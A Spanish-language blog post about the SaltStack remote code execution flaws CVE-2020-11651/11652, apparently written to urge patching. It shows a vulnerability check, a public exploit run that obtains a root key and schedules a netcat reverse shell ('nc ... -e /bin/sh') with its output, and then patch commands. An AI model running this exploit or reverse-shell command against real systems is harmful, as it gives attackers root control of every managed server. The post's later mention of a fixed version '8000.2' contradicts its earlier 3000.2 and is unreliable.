Actualiza tu framework SaltStack!!
¿Qué es SaltStack?
SaltStack/Salt es una herramienta de administración de configuración (CM) y orquestación, que habilita a los administradores de sistemas automatizar el aprovisionamiento de servidores y administración de tareas.
SaltStack ha sido vulnerado
El día 5 de mayo del presente año se ha dado a conocer que este gestor de configuraciones ha sido comprometido mediante un nuevo 0day, que permite la ejecución de comandos remotos en el servidor Salt Master, esto permite directamente ejecutar código a los servidores minion, con esto exponiendo toda la red de servidores.
¿Cómo es que logra esto dicha vulnerabilidad?
Analizando una gran cantidad de exploits de github y en exploitdb el script realiza un bypass en el servidor master y con ello permite realizar la ejecución remota de código la cual se ejecuta como usuario root.
Esta vulnerabilidad actualmente se encuentra dentro de la versión 3000.1 y se ha corregido en la versión 3000.2.
Veamos un ejemplo de explotación
Para realizar esta explotación necesitaremos un sistema que tenga instaladas las dependencias de salt.
Se puede instalar con el siguiente comando:
sudo apt-get install salt-master salt-minion
Teniendo instalado nos basaremos en el script del usuario de github Rossen para verificar si nuestro CM es vulnerable.
Para verificar si es vulnerable tenemos que descargar el siguiente archivo en nuestro servidor y ejecutarlo como usuario root
root@salt# wget https://raw.githubusercontent.com/rossengeorgiev/salt-security-backports/master/salt-cve-check.py root@salt# python salt-cve-check.py
una vez ejecutado nos regresará lo siguiente en la terminal:
[+] Salt version: 2017.7.8 [ ] This version of salt is vulnerable! Check results below [+] Checking salt-master (127.0.0.1:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... YES [+] Checking if vulnerable to CVE-2020-11652 (read_token)... YES [+] Checking if vulnerable to CVE-2020-11652 (read)... YES [+] Checking if vulnerable to CVE-2020-11652 (write1)... YES [+] Checking if vulnerable to CVE-2020-11652 (write2)... YES
Está es una manera sencilla de realizar el escaneo de nuestro servidor, también podemos realizarlo de forma remota tenemos la siguiente herramienta que nos permite realizar verificación, ejecución de comandos y subir archivos.
Haremos uso del siguiente exploit.
wget https://github.com/jasperla/CVE-2020-11651-poc/blob/master/exploit.py python3 exploit.py --master //Nos regresará la siguiente salida [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Salt version: 3000.1 [ ] This versio
Este exploit nos permite realizar ejecución de código con el parámetro –exec
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh" [!] Please only use this script to verify you have correctly patched systems you have permission to access. Hit ^C to abort. [+] Salt version: 3000.1 [ ] This version of salt is vulnerable! Check results below [+] Checking salt-master (192.168.115.130:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... [*] root key obtained: b5pKEa3Mbp/TD7TjdtUTLxnk0LIANRZXC+9XFNIChUr6ZwIrBZJtoZZ8plfiVx2ztcVxjK2E1OA= [+] Attemping to execute nc 127.0.0.1 4444 -e /bin/sh on 192.168.115.130 [+] Successfully scheduled job: 20200504153851746472 root@kalimah:~/salt#
¿Cómo parchar esta vulnerabilidad?
Para realizar el parche de esta vulnerabilidad es es suficiente con actualizar a la versión actual de 8000.2 de Salt no obstante tenemos otra solución:
git clone https://github.com/rossengeorgiev/salt-security-backports.git cd salt-security-backports # Verificar la ruta del paquete Salt python -c "import imp; print(imp.find_module('salt')[1])" patch -p2 -d /usr/lib/python2.7/dist-packages/salt < 2017.7.8_CVE-2020-11651.patch patch -p2 -d /usr/lib/python2.7/dist-packages/salt < 2017.7.8_CVE-2020-11652.patch # reiniciamos SaltMaster systemctl restart salt-master # o service salt-master restart
Una vez realizado el parche volvemos a verificar y este sera nuestro resultado
root@salt # python salt-cve-check.py [+] Salt version: 2017.7.8 [ ] This version of salt is vulnerable! Check results below [+] Checking salt-master (127.0.0.1:4506) status... ONLINE [+] Checking if vulnerable to CVE-2020-11651... NO [+] Checking if vulnerable to CVE-2020-11652 (read_token)... NO [+] Checking if vulnerable to CVE-2020-11652 (read)... NO [+] Checking if vulnerable to CVE-2020-11652 (write1)... NO [+] Checking if vulnerable to CVE-2020-11652 (write2)... NO